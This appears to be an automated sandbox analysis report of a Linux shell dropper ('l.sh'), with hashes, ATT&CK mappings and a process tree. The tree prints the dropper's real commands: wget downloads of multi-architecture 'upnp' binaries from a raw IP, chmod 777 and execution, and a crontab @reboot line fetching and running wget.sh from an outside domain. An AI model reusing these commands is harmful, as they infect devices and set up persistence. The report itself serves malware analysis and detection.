6f6de7f166f98d6391f52362327abeae69469b3dd8e09db11c11615a2c5cb31f

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-01-2025 16:13

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General

Target

l.sh
Size

240B
MD5

e2102b077fa0da3be5a5b07b22a34d20
SHA1

629a840f9cbd82d8126f2e6b26f4668af8757f10
SHA256

6f6de7f166f98d6391f52362327abeae69469b3dd8e09db11c11615a2c5cb31f
SHA512

3db852f800118e0a6343e3d121db6eeb851ae72856ec4e7b07edb665e151811b2b6435706795370550cdeaf8b9816b64d42e6c317a1b6c781660905876873fdf

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
712	chmod
724	chmod
727	chmod
679	chmod
681	sh
709	chmod
715	chmod
718	chmod
721	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/upnp	680	upnp
/tmp/upnp	710	upnp
/tmp/upnp	713	upnp
/tmp/upnp	716	upnp
/tmp/upnp	719	upnp
/tmp/upnp	722	upnp
/tmp/upnp	725	upnp
/tmp/upnp	728	upnp

Renames itself 1 IoCs

pid	Process
680	upnp

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	51.158.108.203

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.OXsESj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kswapd0]	680	upnp

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/723/status	upnp
File opened for reading	/proc/724/status	upnp
File opened for reading	/proc/750/status	upnp
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/593/stat	killall
File opened for reading	/proc/702/status	upnp
File opened for reading	/proc/718/status	upnp
File opened for reading	/proc/730/status	upnp
File opened for reading	/proc/740/status	upnp
File opened for reading	/proc/744/status	upnp
File opened for reading	/proc/748/status	upnp
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/266/stat	killall
File opened for reading	/proc/645/stat	killall
File opened for reading	/proc/701/status	upnp
File opened for reading	/proc/757/status	upnp
File opened for reading	/proc/762/status	upnp
File opened for reading	/proc/753/status	upnp
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/599/stat	killall
File opened for reading	/proc/1/cmdline	upnp
File opened for reading	/proc/742/status	upnp
File opened for reading	/proc/703/status	upnp
File opened for reading	/proc/646/cmdline	upnp
File opened for reading	/proc/755/status	upnp
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/8/stat	killall
File opened for reading	/proc/26/stat	killall
File opened for reading	/proc/212/stat	killall
File opened for reading	/proc/756/status	upnp
File opened for reading	/proc/761/status	upnp
File opened for reading	/proc/149/stat	killall
File opened for reading	/proc/166/stat	killall
File opened for reading	/proc/mounts	upnp
File opened for reading	/proc/734/status	upnp
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/743/status	upnp
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/596/stat	killall
File opened for reading	/proc/733/status	upnp
File opened for reading	/proc/699/status	upnp
File opened for reading	/proc/714/status	upnp
File opened for reading	/proc/747/status	upnp
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/105/stat	killall
File opened for reading	/proc/639/stat	killall
File opened for reading	/proc/691/status	upnp
File opened for reading	/proc/741/status	upnp
File opened for reading	/proc/759/status	upnp
File opened for reading	/proc/760/status	upnp
File opened for reading	/proc/76/stat	killall
File opened for reading	/proc/108/stat	killall
File opened for reading	/proc/641/stat	killall
File opened for reading	/proc/696/status	upnp
File opened for reading	/proc/2/cmdline	upnp
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/267/stat	killall
File opened for reading	/proc/690/status	upnp
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/300/stat	killall
File opened for reading	/proc/707/status	upnp

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
717	wget
719	upnp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/upnp	l.sh

/tmp/l.sh
/tmp/l.sh
1⤵
- Writes file to tmp directory
PID:646
- /usr/bin/killall
  killall -9 dvrLocker
  2⤵
  - Reads runtime system information
  PID:647
- /bin/rm
  rm -rf upnp
  2⤵
  PID:649
- /usr/bin/wget
  wget http://103.188.82.218/t/arm -O -
  2⤵
  PID:652
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:679
- /tmp/upnp
  ./upnp tplink.arm
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:680
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:681
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:683
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:684
- /usr/bin/wget
  wget http://103.188.82.218/t/arm5 -O -
  2⤵
  PID:688
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/upnp
  ./upnp tplink.arm5
  2⤵
  - Executes dropped EXE
  PID:710
- /usr/bin/wget
  wget http://103.188.82.218/t/arm6 -O -
  2⤵
  PID:711
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:712
- /tmp/upnp
  ./upnp tplink.arm6
  2⤵
  - Executes dropped EXE
  PID:713
- /usr/bin/wget
  wget http://103.188.82.218/t/arm7 -O -
  2⤵
  PID:714
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/upnp
  ./upnp tplink.arm7
  2⤵
  - Executes dropped EXE
  PID:716
- /usr/bin/wget
  wget http://103.188.82.218/t/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:717
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/upnp
  ./upnp tplink.mips
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:719
- /usr/bin/wget
  wget http://103.188.82.218/t/mpsl -O -
  2⤵
  PID:720
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/upnp
  ./upnp tplink.mpsl
  2⤵
  - Executes dropped EXE
  PID:722
- /usr/bin/wget
  wget http://103.188.82.218/t/ppc -O -
  2⤵
  PID:723
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/upnp
  ./upnp tplink.ppc
  2⤵
  - Executes dropped EXE
  PID:725
- /usr/bin/wget
  wget http://103.188.82.218/t/x86 -O -
  2⤵
  PID:726
- /bin/chmod
  chmod 777 upnp
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/upnp
  ./upnp tplink.x86
  2⤵
  - Executes dropped EXE
  PID:728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/upnp

Filesize
77KB

MD5
d09db60a70d5b53b5b53ad39476fd7e8

SHA1
73a75e5e8200f77d857a7256cc0979077e29241d

SHA256
36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165

SHA512
ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04

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/tmp/upnp

Filesize
73KB

MD5
f812a7b3a877f717eb6e54b843b41848

SHA1
21ee67d9a9b638621646e1b57fdc0f1eb0bdfa25

SHA256
9a7e77eff17b6bab95e53989adca31512823cf0c92a342a1b7e2ca445d9bb560

SHA512
c236138e33d6d68c2bf4a6f5a4289070089b5bdb4ee153bc9f317e6ed5da00cb3b2117c68f427d0d58b072a7d453c728f5471c257e752b3514a1077b6978a732

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/var/spool/cron/crontabs/tmp.OXsESj

Filesize
306B

MD5
02ffc990d17c4101ac83c8ab0370201e

SHA1
bbd9f1aa7f3f0f78b98396964b266c7343ac6cfc

SHA256
266e73b4bcfc7590c06d1aba6288d933fcdf98ff357299942f0244d586b7a1b6

SHA512
d004ae9d28dbe9ba8b3e15fe3b824422be63c61a4f85dd6e66013e782a64b9d1df22a133b407a2849cd78374050d821c8b6b0be9431821018007bddb64a7f96c

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads